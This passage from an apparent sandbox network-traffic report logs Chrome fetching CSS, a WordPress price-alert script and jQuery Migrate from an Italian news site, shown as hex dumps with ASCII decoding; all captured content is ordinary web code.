66 64 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 74 64 Data Ascii: g{position:relative;width:.9em;height:auto;margin-right:.5em}.tdb-s-btn:hover,.tdb-s-btn:active{background-color:#152bf7}.tdb-s-btn:active:not(:disabled){outline-color:rgba(21,43,247,.2)}.tdb-s-btn:disabled{background-color:#9acffd;pointer-events:none}.td
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 62 74 6e 2d 73 61 76 69 6e 67 3a 61 66 74 65 72 7b 77 69 64 74 68 3a 31 31 70 78 3b 68 65 69 67 68 74 3a 31 31 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 33 70 78 7d 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 6d 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 61 76 69 6e 67 3a 6e 6f 74 28 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 61 76 65 64 29 3a 61 66 74 65 72 7b 74 6f 70 3a 31 70 78 7d 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 6d 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 61 76 65 64 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 75 74 66 38 3b 62 61 73 65 36 34 2c 49 44 78 7a 64 6d 63 67 65 47 31 73 62 6e 4d 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 63 33 5a 6e Data Ascii: btn-saving:after{width:11px;height:11px;margin-left:13px}.tdb-s-btn-sm.tdb-s-btn-saving:not(.tdb-s-btn-saved):after{top:1px}.tdb-s-btn-sm.tdb-s-btn-saved:after{content:url(data:image/svg+xml;utf8;base64,IDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3Zn
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 61 34 61 34 7d 2e 74 64 62 2d 73 2d 62 74 6e 2d 72 65 64 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 61 76 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 61 34 61 34 7d 2e 74 64 62 2d 73 2d 62 74 6e 2d 68 6f 6c 6c 6f 77 7b 6d 69 6e 2d 77 69 64 74 68 3a 39 36 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 32 32 70 78 20 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 34 34 34 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 23 61 38 61 61 62 38 7d 2e 74 64 62 2d 73 2d 62 74 6e 2d 68 6f 6c 6c 6f 77 3a 68 6f 76 65 72 2c 2e 74 64 62 2d 73 2d 62 74 6e 2d 68 6f 6c 6c 6f 77 3a 61 63 74 69 76 65 7b 62 61 63 6b Data Ascii: background-color:#ffa4a4}.tdb-s-btn-red.tdb-s-btn-saved{background-color:#ffa4a4}.tdb-s-btn-hollow{min-width:96px;padding:12px 22px 14px;background-color:transparent;color:#444;border:2px solid #a8aab8}.tdb-s-btn-hollow:hover,.tdb-s-btn-hollow:active{back
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 69 6d 70 6c 65 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 31 35 32 62 66 37 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 69 6d 70 6c 65 3a 64 69 73 61 62 6c 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 39 61 63 66 66 64 7d 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 69 6d 70 6c 65 2e 74 64 62 2d 73 2d 62 74 6e 2d 73 61 76 69 6e 67 3a 61 66 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 34 38 39 66 63 3b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 Data Ascii: .tdb-s-btn-simple:active{color:#152bf7;background-color:transparent}.tdb-s-btn-simple:disabled{background-color:transparent;color:#9acffd}.tdb-s-btn-simple.tdb-s-btn-saving:after{margin-left:10px;border:1px solid #0489fc;border-left-color:transparent;bord
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 63 2d 69 6e 6e 65 72 2d 74 69 74 6c 65 20 73 70 61 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 31 66 31 66 31 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 37 70 78 20 36 70 78 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 6c 61 62 65 6c 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 32 39 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 63 6f 6c 6f 72 3a 23 36 36 36 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 6c 61 Data Ascii: dy div .tdb-s-fc-inner-title span{background-color:#f1f1f1;border-radius:3px;padding:4px 7px 6px}body div .tdb-s-form-label{position:relative;display:block;margin-bottom:8px;font-size:.929em;line-height:1;font-weight:600;color:#666}body div .tdb-s-form-la
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 3a 63 6f 6c 6f 72 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 69 6e 70 75 74 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 38 38 38 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 69 6e 70 75 74 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 69 6e 70 75 74 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 67 72 6f 75 70 3a 6e 6f 74 28 2e 74 64 62 2d 73 2d 66 67 2d 65 72 72 6f 72 29 20 Data Ascii: :color .2s ease-in-out}body div .tdb-s-form-input:-moz-placeholder{color:#888;transition:color .2s ease-in-out}body div .tdb-s-form-input:hover{color:inherit}body div .tdb-s-form-input:focus{box-shadow:none}body div .tdb-s-form-group:not(.tdb-s-fg-error)
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6f 75 70 3a 6e 6f 74 28 2e 74 64 62 2d 73 2d 66 67 2d 65 72 72 6f 72 29 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 69 6e 70 75 74 3a 64 69 73 61 62 6c 65 64 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 62 65 62 65 62 65 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 67 72 6f 75 70 3a 6e 6f 74 28 2e 74 64 62 2d 73 2d 66 67 2d 65 72 72 6f 72 29 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 69 6e 70 75 74 5b 72 65 61 64 6f 6e 6c 79 5d 3a 6e 6f 74 28 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 69 6e 70 75 74 2d 64 61 74 65 29 3a 6e 6f 74 28 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 64 61 74 65 70 69 63 6b 65 72 29 3a 2d 6d 73 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 Data Ascii: oup:not(.tdb-s-fg-error) .tdb-s-form-input:disabled::-moz-placeholder{color:#bebebe}body div .tdb-s-form-group:not(.tdb-s-fg-error) .tdb-s-form-input[readonly]:not(.tdb-s-form-input-date):not(.tdb-s-form-datepicker):-ms-input-placeholder,body div .tdb-s-f
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 72 69 67 68 74 3a 31 35 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 66 69 6c 6c 3a 23 34 34 34 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 66 69 6c 6c 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 67 72 6f 75 70 3a 6e 6f 74 28 2e 74 64 62 2d 73 2d 66 67 2d 65 72 72 6f 72 29 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 73 65 6c 65 63 74 2d 77 72 61 70 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 69 6e 70 75 74 5b 72 65 61 64 6f 6e 6c 79 5d 2b 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 73 65 6c 65 63 74 2d 69 63 6f 6e 2c 62 6f 64 79 20 64 69 76 20 2e Data Ascii: ion:absolute;top:50%;right:15px;transform:translateY(-50%);pointer-events:none;fill:#444;transition:fill .2s ease-in-out}body div .tdb-s-form-group:not(.tdb-s-fg-error) .tdb-s-form-select-wrap .tdb-s-form-input[readonly]+.tdb-s-form-select-icon,body div .
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 3b 77 69 64 74 68 3a 31 39 70 78 3b 68 65 69 67 68 74 3a 31 39 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 23 64 37 64 38 64 65 3b 6f 75 74 6c 69 6e 65 3a 33 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 62 6f 64 79 20 64 69 76 20 2e 74 64 62 2d 73 2d 66 6f 72 6d 2d 63 68 65 63 6b 20 2e 74 64 62 2d 73 2d 66 63 2d 63 68 65 63 6b 3a 61 66 Data Ascii: lative;margin-right:10px;width:19px;height:19px;background-color:#fff;border:2px solid #d7d8de;outline:3px solid transparent;transition:border-color .2s ease-in-out,outline-color .2s ease-in-out;cursor:pointer}body div .tdb-s-form-check .tdb-s-fc-check:af

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49758	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	643	OUT	GET /wp-content/plugins/content-egg/res/js/price_alert.js?ver=10.12.1 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	749	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=1850 etag: W/"63f07133-73a" last-modified: Sat, 18 Feb 2023 06:33:23 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2311 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CSF3LTfSSs8x8wkKbTWow%2BBJ2p%2FIwTSOzEUA%2Fidw%2B7DU%2BItMlCwfaOrJ4lholDGwLJZ1OZT7wkHJnM0Sb3VSK4Izt%2FfSSevsZf%2FFf1%2FjSnifhw4XkCrAsYytSl8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66036bf9b3908-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	620	IN	Data Raw: 35 31 35 0d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 7b 6a 51 75 65 72 79 28 22 2e 63 65 67 67 2d 70 72 69 63 65 2d 61 6c 65 72 74 2d 77 72 61 70 20 66 6f 72 6d 20 3a 69 6e 70 75 74 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 51 75 65 72 79 28 74 68 69 73 29 2e 6f 6e 28 27 69 6e 70 75 74 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 24 66 6f 72 6d 3d 6a 51 75 65 72 79 28 74 68 69 73 29 3b 76 61 72 20 24 77 72 61 70 3d 24 66 6f 72 6d 2e 63 6c 6f 73 65 73 74 28 27 2e 63 65 67 67 2d 70 72 69 63 65 2d 61 6c 65 72 74 2d 77 72 61 70 27 29 3b 76 61 72 20 24 61 67 72 65 65 3d 24 77 72 61 70 2e 66 69 6e 64 28 27 2e 70 72 69 63 65 2d 61 6c 65 72 74 2d 61 67 72 65 65 2d 77 72 61 70 Data Ascii: 515jQuery(document).ready(function(){jQuery(".cegg-price-alert-wrap form :input").each(function(){jQuery(this).on('input',function(){var $form=jQuery(this);var $wrap=$form.closest('.cegg-price-alert-wrap');var $agree=$wrap.find('.price-alert-agree-wrap
2024-03-28 08:51:00 UTC	688	IN	Data Raw: 6f 61 64 69 6e 67 2d 69 6d 61 67 65 27 29 2e 73 68 6f 77 28 29 3b 24 77 72 61 70 2e 66 69 6e 64 28 27 2e 63 65 67 67 2d 70 72 69 63 65 2d 61 6c 65 72 74 2d 72 65 73 75 6c 74 2d 65 72 72 6f 72 27 29 2e 68 69 64 65 28 29 3b 24 66 6f 72 6d 2e 66 69 6e 64 28 27 69 6e 70 75 74 2c 20 62 75 74 74 6f 6e 27 29 2e 70 72 6f 70 28 22 64 69 73 61 62 6c 65 64 22 2c 74 72 75 65 29 3b 6a 51 75 65 72 79 2e 61 6a 61 78 28 7b 75 72 6c 3a 63 65 67 67 50 72 69 63 65 41 6c 65 72 74 2e 61 6a 61 78 75 72 6c 2b 27 3f 61 63 74 69 6f 6e 3d 73 74 61 72 74 5f 74 72 61 63 6b 69 6e 67 27 2c 74 79 70 65 3a 27 70 6f 73 74 27 2c 64 61 74 61 54 79 70 65 3a 27 6a 73 6f 6e 27 2c 64 61 74 61 3a 64 61 74 61 2c 73 75 63 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 72 65 73 75 6c 74 29 7b 69 66 28 Data Ascii: oading-image').show();$wrap.find('.cegg-price-alert-result-error').hide();$form.find('input, button').prop("disabled",true);jQuery.ajax({url:ceggPriceAlert.ajaxurl+'?action=start_tracking',type:'post',dataType:'json',data:data,success:function(result){if(
2024-03-28 08:51:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49759	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	553	OUT	GET /c/6.4.3/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	534	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: application/javascript Content-Length: 13577 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 09 Jun 2023 05:49:24 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:51:00 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 1 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:51:00 UTC	835	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.4.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 65 49 73 50 61 74 63 68 45 6e 61 62 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 74 5b 65 5d 7d 2c 6e 2e 63 6f 6e 73 6f 6c 65 26 26 6e 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 28 73 26 26 65 28 22 33 2e 30 2e 30 22 29 26 26 21 65 28 22 35 2e 30 2e 30 22 29 7c 7c 6e 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 6a 51 75 65 72 79 20 33 2e 78 2d 34 2e 78 20 52 45 51 55 49 52 45 44 22 29 2c 73 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 26 26 6e 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 4d 69 67 72 61 74 65 20 70 6c 75 67 69 6e 20 6c 6f 61 64 65 64 20 6d 75 6c 74 69 70 6c 65 20 74 69 6d 65 73 22 29 2c 6e 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 Data Ascii: eIsPatchEnabled=function(e){return!t[e]},n.console&&n.console.log&&(s&&e("3.0.0")&&!e("5.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.x-4.x REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRAT
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 7e 7c 5e 24 2a 5d 3f 3d 29 5c 73 2a 28 5b 2d 5c 77 23 5d 2a 3f 23 5b 2d 5c 77 23 5d 2a 29 5c 73 2a 5c 5d 2f 67 2c 76 3d 2f 5e 5b 5c 73 5c 75 46 45 46 46 5c 78 41 30 5d 2b 7c 28 5b 5e 5c 73 5c 75 46 45 46 46 5c 78 41 30 5d 29 5b 5c 73 5c 75 46 45 46 46 5c 78 41 30 5d 2b 24 2f 67 3b 66 6f 72 28 64 20 69 6e 20 69 28 73 2e 66 6e 2c 22 69 6e 69 74 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 73 2e 6d 69 67 72 61 74 65 49 73 50 61 74 63 68 45 6e 61 62 6c 65 64 28 22 73 65 6c 65 63 74 6f 72 2d 65 6d 70 74 79 2d 69 64 22 29 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 23 22 3d 3d 3d 65 26 26 Data Ascii: ~\|^$]?=)\s([-\w#]?#[-\w#])\s*\]/g,v=/^[\s\uFEFF\xA0]+\|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;for(d in i(s.fn,"init",function(e){var t=Array.prototype.slice.call(arguments);return s.migrateIsPatchEnabled("selector-empty-id")&&"string"==typeof e&&"#"===e&&
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6c 74 65 72 73 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 6a 51 75 65 72 79 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 22 29 2c 72 28 73 2e 65 78 70 72 2c 22 3a 22 2c 73 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2c 22 65 78 70 72 2d 70 72 65 2d 70 73 65 75 64 6f 73 22 2c 22 6a 51 75 65 72 79 2e 65 78 70 72 5b 27 3a 27 5d 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 6a 51 75 65 72 79 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 22 29 2c 65 28 22 33 2e 31 2e 31 22 29 26 26 63 28 73 2c 22 74 72 69 6d 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 28 65 2b 22 22 29 2e 72 65 70 6c 61 63 65 28 76 2c 22 24 31 22 29 7d 2c 22 74 72 69 6d 22 2c 22 6a 51 75 65 72 79 2e 74 72 69 6d 20 69 73 20 64 65 Data Ascii: lters is deprecated; use jQuery.expr.pseudos"),r(s.expr,":",s.expr.pseudos,"expr-pre-pseudos","jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&c(s,"trim",function(e){return null==e?"":(e+"").replace(v,"$1")},"trim","jQuery.trim is de
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 73 22 2c 22 6a 51 58 48 52 2e 73 75 63 63 65 73 73 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 2c 63 28 65 2c 22 65 72 72 6f 72 22 2c 65 2e 66 61 69 6c 2c 22 6a 71 58 48 52 2d 6d 65 74 68 6f 64 73 22 2c 22 6a 51 58 48 52 2e 65 72 72 6f 72 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 2c 63 28 65 2c 22 63 6f 6d 70 6c 65 74 65 22 2c 65 2e 61 6c 77 61 79 73 2c 22 6a 71 58 48 52 2d 6d 65 74 68 6f 64 73 22 2c 22 6a 51 58 48 52 2e 63 6f 6d 70 6c 65 74 65 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 29 2c 65 7d 2c 22 6a 71 58 48 52 2d 6d 65 74 68 6f 64 73 22 29 2c 65 28 22 34 2e 30 2e 30 22 29 7c 7c 73 2e 61 6a 61 78 50 72 65 66 69 6c 74 65 72 28 Data Ascii: s","jQXHR.success is deprecated and removed"),c(e,"error",e.fail,"jqXHR-methods","jQXHR.error is deprecated and removed"),c(e,"complete",e.always,"jqXHR-methods","jQXHR.complete is deprecated and removed")),e},"jqXHR-methods"),e("4.0.0")\|\|s.ajaxPrefilter(
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 3a 54 6f 70 7c 52 69 67 68 74 7c 42 6f 74 74 6f 6d 7c 4c 65 66 74 29 3f 28 3f 3a 57 69 64 74 68 7c 29 7c 28 3f 3a 4d 61 72 67 69 6e 7c 50 61 64 64 69 6e 67 29 3f 28 3f 3a 54 6f 70 7c 52 69 67 68 74 7c 42 6f 74 74 6f 6d 7c 4c 65 66 74 29 3f 7c 28 3f 3a 4d 69 6e 7c 4d 61 78 29 3f 28 3f 3a 57 69 64 74 68 7c 48 65 69 67 68 74 29 29 24 2f 3b 73 2e 73 77 61 70 26 26 73 2e 65 61 63 68 28 5b 22 68 65 69 67 68 74 22 2c 22 77 69 64 74 68 22 2c 22 72 65 6c 69 61 62 6c 65 4d 61 72 67 69 6e 52 69 67 68 74 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 73 2e 63 73 73 48 6f 6f 6b 73 5b 74 5d 26 26 73 2e 63 73 73 48 6f 6f 6b 73 5b 74 5d 2e 67 65 74 3b 72 26 26 28 73 2e 63 73 73 48 6f 6f 6b 73 5b 74 5d 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: :Top\|Right\|Bottom\|Left)?(?:Width\|)\|(?:Margin\|Padding)?(?:Top\|Right\|Bottom\|Left)?\|(?:Min\|Max)?(?:Width\|Height))$/;s.swap&&s.each(["height","width","reliableMarginRight"],function(e,t){var r=s.cssHooks[t]&&s.cssHooks[t].get;r&&(s.cssHooks[t].get=function(){
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 28 73 2e 65 61 63 68 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 66 6e 2e 63 73 73 2e 63 61 6c 6c 28 6f 2c 65 2c 74 29 7d 29 2c 74 68 69 73 29 3a 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 72 3d 78 28 65 29 2c 6e 3d 72 2c 43 2e 74 65 73 74 28 6e 29 26 26 4e 2e 74 65 73 74 28 6e 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 6e 2e 73 6c 69 63 65 28 31 29 29 7c 7c 41 5b 72 5d 7c 7c 75 28 22 63 73 73 2d 6e 75 6d 62 65 72 22 2c 27 4e 75 6d 62 65 72 2d 74 79 70 65 64 20 76 61 6c 75 65 73 20 61 72 65 20 64 65 70 72 65 63 61 74 65 64 20 66 6f 72 20 6a 51 75 65 72 79 2e 66 6e 2e 63 73 73 28 20 22 27 2b 65 2b 27 22 2c 20 76 61 6c 75 65 20 29 27 29 29 2c 51 2e 61 70 70 6c Data Ascii: Array.isArray(e)?(s.each(e,function(e,t){s.fn.css.call(o,e,t)}),this):("number"==typeof t&&(r=x(e),n=r,C.test(n)&&N.test(n[0].toUpperCase()+n.slice(1))\|\|A[r]\|\|u("css-number",'Number-typed values are deprecated for 